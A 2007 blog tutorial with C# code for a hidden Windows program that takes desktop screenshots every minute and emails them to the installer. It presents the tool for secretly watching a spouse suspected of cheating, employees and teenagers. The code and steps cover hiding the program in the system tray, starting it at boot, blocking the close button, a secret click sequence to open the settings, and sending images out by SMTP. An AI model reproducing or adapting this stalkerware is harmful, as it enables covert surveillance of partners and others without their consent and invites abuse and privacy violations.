Make a surveillance application which captures desktop and emails you as attachment

Some time back I needed to capture a certain computers desktop in order to find out what that user is doing every day. So, I made a .NET 2.0 Winforms Application which stays on system tray (optional) and capture the desktop in given time interval (say every 60 secs) and emailed the captured images to me as message attachment (say every 30 mins). It ensures the captures are small enough and embedded inside HTML email so that I don't need to open hundreds of attachments and see the screenshots. I could just read through the email and see the captures made. You will find this application quite handy in many use cases including:

  • Keep an eye on developers who spend too much time on web and chatting. See what they really do.
  • Keep an eye on your better half incase s/he is cheating on you.
  • Keep an eye on your teenagers and see how they use computer. Find the amount of time they browser porn on web.

All you do is sit back and relax in your office and the app informs you every 30 mins via email what your subject is doing on the computer. You don't need to worry about missing some captures when you are away from your computer. It will be safely kept in your inbox and you can go through all the captures on your weekend.

Configure the following settings from the Visual Studio Settings Designer (if you have Visual Studio):

Configure the path where the screenshots will be stored. Then configure the duration, default is every 1 minute, one screenshot is taken. "To" contains the email address of yours. Use free email services because very soon you will find it's filled up. Username and Password is for the SMTP authentication. "SMTP" contains the SMTP Server name or IP. "MailSendDelay" is the delay between sending emails.

All you need to do is build the app and install/run it once on the computer which you want to keep an eye on. It will hide itself on the system tray as a harmless icon and register itself on the startup and start capturing immediately. After a week or two, cleanup the "C:\temp" folder where the screenshots are kept.

You can also configure the properties at run time after running it once on a computer. This is for those who does not have Visual Studio in order to configure the settings before building it.

In order to launch the configuration dialog box while the application is running, find the icon on the system tray and click mouse buttons exactly in this order:

  • Press left and right mouse button on the icon one after another
  • Release only the right mouse button while holding the left mouse button down

This will bring up the configuration dialog:

Here you can make changes while it is running.

Let's learn some interesting stuffs from this application:

1. Prevent closing the application when close button is clicked:


private void MainForm_FormClosing( object sender, FormClosingEventArgs e) { Settings.Default.Save(); this .Hide(); e.Cancel = true ; }

2. Capturing the screenshot


using (Bitmap bmpScreenshot = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, PixelFormat.Format32bppArgb)) { // Create a graphics object from the bitmap using (Graphics gfxScreenshot = Graphics.FromImage(bmpScreenshot)) { try { Log( " Capture screen " ); // Take the screenshot from the upper left corner to the right bottom corner gfxScreenshot.CopyFromScreen(Screen.PrimaryScreen.Bounds.X, Screen.PrimaryScreen.Bounds.Y, 0 , 0 , Screen.PrimaryScreen.Bounds.Size, CopyPixelOperation.SourceCopy);

First a bitmap object for the whole screen size is created and then the graphics from the screen is copied to the Bitmap object.

3. Convert the Bitmap to low resolution JPEG


// Get the ImageCodecInfo for the desired target format ImageCodecInfo codec = GetEncoderInfo( " image/jpeg " ); // Set the quality to very low System.Drawing.Imaging.Encoder qualityEncoder = System.Drawing.Imaging.Encoder.Quality; EncoderParameter ratio = new EncoderParameter(qualityEncoder, 10L ); // Add the quality parameter to the list EncoderParameters codecParams = new EncoderParameters( 1 ); codecParams.Param[ 0 ] = ratio;

Here we configure the JPEG codec with very low resolution (10%). GetEncoderInfo is a function which runs through all available codecs and finds the one we need.


private static ImageCodecInfo GetEncoderInfo(String mimeType) { int j; ImageCodecInfo[] encoders; encoders = ImageCodecInfo.GetImageEncoders(); for (j = 0 ; j < encoders.Length; ++ j) { if (encoders[j].MimeType == mimeType) return encoders[j]; } return null ; }

4. Saving bitmap using codec


using (FileStream fs = new FileStream(filePath, FileMode.Create)) { bmpScreenshot.Save(fs, codec, codecParams); fs.Close(); }

5. Handling Win32Exception

I noticed sometimes during screen capture, an unknown Win32Exception throws up. There's no way to work around this problem until I restart the application. Here's how I do it:


catch (Exception x) { Log(x.ToString()); if (x is Win32Exception) { Log( " Restarting... " ); Application.Restart(); } }

6. Email the pictures as embedded image in HTML format

First connect to the mail server using System.Net.SmtpClient:


SmtpClient client = new SmtpClient(Settings.Default.Smtp); client.Credentials = new NetworkCredential(Settings.Default.UserName, Settings.Default.Password); MailMessage msg = new MailMessage(Settings.Default.To, Settings.Default.To); msg.Subject = DateTime.Now.ToString(); msg.IsBodyHtml = true ;

We are going to construct an Html mail where the images will be inline. The tricky part is to build the body of the message. The body requires that we create <img> tag for each image inside the body in this format:


< img src =cid:ID_OF_THE_IMAGE />

The ID needs to be the ContentID of the LinkedResource instance which is created for each image. Here's the code:


List < LinkedResource > resources = new List < LinkedResource > (); for ( int i = Settings.Default.LastSentFileNo; i < Settings.Default.LastFileNo; i ++ ) { string filePath = FilePath(i); // then we create the Html part // to embed images, we need to use the prefix 'cid' in the img src value // the cid value will map to the Content-Id of a Linked resource. // thus <img src='cid:companylogo'> will map to a LinkedResource with a ContentId of 'companylogo' body.AppendLine( " <img src=cid:Capture " + i.ToString() + " /> " ); // create the LinkedResource (embedded image) LinkedResource logo = new LinkedResource(filePath); logo.ContentId = " Capture " + i.ToString(); // add the LinkedResource to the appropriate view resources.Add(logo); }

I keep a counter for the last capture file name and the last emailed file number. Then for each capture file which has not been emailed yet, I create a LinkedResource for the image and then add it in the resources list. I also build the body of the message which contains the <img> tag with the LinkedResource ContentID.

Then we create something called AlternateView for the message body which says the message has a HTML view:


AlternateView htmlView = AlternateView.CreateAlternateViewFromString(body.ToString(), null , " text/html " ); foreach (LinkedResource resource in resources) htmlView.LinkedResources.Add(resource); msg.AlternateViews.Add(htmlView);

This view contains the HTML body and the resource collection.

After this, the email is sent asynchronously so that the screen capture process does not get stuck. It generally takes a while to send the image with all the screenshots embedded. So, you can't do this synchronously.


try { client.Timeout = 10 * 60 * 1000 ; client.SendAsync(msg, "" ); client.SendCompleted += new SendCompletedEventHandler(client_SendCompleted); mailSendTimer.Stop(); Log( " Sending mail... " ); } catch (Exception x) { Log(x.ToString()); }

That's all folks!

Download the source here

Published Sun, Jan 7 2007 17:15 by omar
Filed under: